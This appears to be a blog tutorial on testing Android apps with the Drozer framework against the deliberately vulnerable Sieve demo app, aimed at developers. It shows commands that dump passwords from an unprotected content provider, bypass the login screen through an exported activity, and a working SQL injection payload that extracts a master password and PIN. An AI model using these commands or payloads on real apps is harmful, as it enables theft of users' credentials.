Inspecting Android apps with Drozer

Write secure software sometimes is like opening a can of worms. We postpone, because it’s a burden and “can wait”. Suddenly it starts to get messy and really hard to protect — in some scenarios, we start to lose our minds.

Google Play Store has now 1.6 million apps available for download, plus a considerable number deployed on third-party stores.

What makes Android so attractive for users, poses a significant challenge for us developers. It is easy to create new applications. However, it is fiendishly hard to design a secure application.

Back in August, a few people asked me, “Is Android secure enough?”

Bruce Schneier says:

Security is a chain; it’s only as secure as the weakest link

Deep inside I wish I could blame the OS, but in fact it is almost never the weakest link. Most of successful attacks take advantage of human weakness. For example: people can be tricked to install malwares, manipulated, provide weak passwords, have lost or stolen devices.

There’s no magic formula to determine whether or not a mobile application is secure. Yet, is possible learn the basics about security assessment tools to identify potential vulnerabilities.

Android security assessment

Drozer is a security testing framework for Android written in Python. Its architecture consists of an embbeded server running on the target device, called agent, and a remote console.

Drozer Agent running on Samsung Galaxy S II


Installing and setting up is fairly straightforward following the instructions described on the website. Another alternative, is to pull the Drozer image from Docker Hub. Therefore, the next step includes installing the agent and sieve, a demo app. If everything went well, you should be able to see the console.

The framework has several modules available to explore. My focus here is to give you a perspective about the whole idea.

Let’s begin with an attack surface analysis. This is a simple concept, it’s like safeguard a house. First, you have to consider all the entry and exit points, in order to prevent unauthorized access.

The second step consists of going after sensitive data stored on a device and starting to identify which components are exposed:

drozer Console (v2.3.4)
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

Besides the fact that some components are publicly exposed, the summary above does not say too much about the security of our example app. However, it is possible to discover the content URIs available:

drozer Console (v2.3.4)
dz> run app.provider.finduri com.mwr.example.sieve
Scanning com.mwr.example.sieve...
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.FileBackupProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Keys

Apparently, DBContentProvider/Passwords have sensitive information. Let’s check the app’s permissions:

drozer Console (v2.3.4)
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.DBContentProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False
    Path Permissions:
      Path: /Keys
        Type: PATTERN_LITERAL
        Read Permission: com.mwr.example.sieve.READ_KEYS
        Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.FileBackupProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False

As you might have already noticed, read and write permissions are null. In other words, there’s nothing stopping us from querying data stores through Content Providers. Just to see how bad it is, use Drozer as shown here:

drozer Console (v2.3.4)
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
| _id | service  | username | password                                          | email         |
| 1   | twitter  | joe      | faiKJudF3IXiq3U+KbqovPGG0kK0HA== (Base64-encoded) | joe@perci.com |
| 2   | facebook | joe      | faiKJudF3IU+x17Lvo1Cc9Xb0tljKg== (Base64-encoded) | joe@joe.com   |
| 3   | twitter  | shrek    | ce9mTVQXvVrWruEgOfLC0AVSuJAKF8ZT (Base64-encoded) |               |

Now we can see all the service entries with their respective passwords encrypted. It is worth to mention that there’s a significant chance of at least a rainbow table attack here.

Back to the list of exported components. Activities may look harmless for applications without sensitive data. For password managers, they represent the next attack vector. Look at the permissions requirements:

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

From the list of activities, PWList is by far the most interesting one. No permissions are required to access it, which makes attackers cry tears of joy.

There are two possibilities here: write a malware to exploit this flaw or just bypass the login screen launching the Activity:

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

It is a wrong assumption to believe that such attacks will never happen. SQL injection for example, is an old and well-known friend of Web and Desktop platforms. Although, still “new” for mobile developers — some people are skeptical about it.

Skeptical or not, every reasonable person knows that Content Providers making use of SQLite may be prone to injection attacks. And certainly won’t hurt to check. You can use a simple one-line command:

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
  content://com.mwr.example.sieve.DBContentProvider/
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.DBContentProvider
  content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

As you can see, the scanner found SQL injection at Passwords and Keys table. This example certainly has more holes than a swiss cheese. And now it can be exploited in the same way as we do in normal Web applications:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* FROM KEY;--"
| Password             | pin  |
| 12345678901234567890 | 1234 |

Certainly this was caused by the concatenation of SQL queries directly from user input. You can mitigate this with the usage of prepared statements.

Now that pin and password were successfully retrieved, our security was officially defeated. It’s merely a matter of time for people start writing exploits to steal data, leak bank accounts or social credentials.

Why does it matter?

In a real world, I’m aware that Android developers may never commit some of the mistakes described here. At the same time, security can be tricky, even for experienced developers. Sometimes we have to deal with hard deadlines.

There are several other features that were not covered here and I believe that just learning about Drozer won’t enough to make your app secure. But at least, I hope it helps to go beyond the obvious and perform a basic check, even if you’re not an Android developer.


android drozer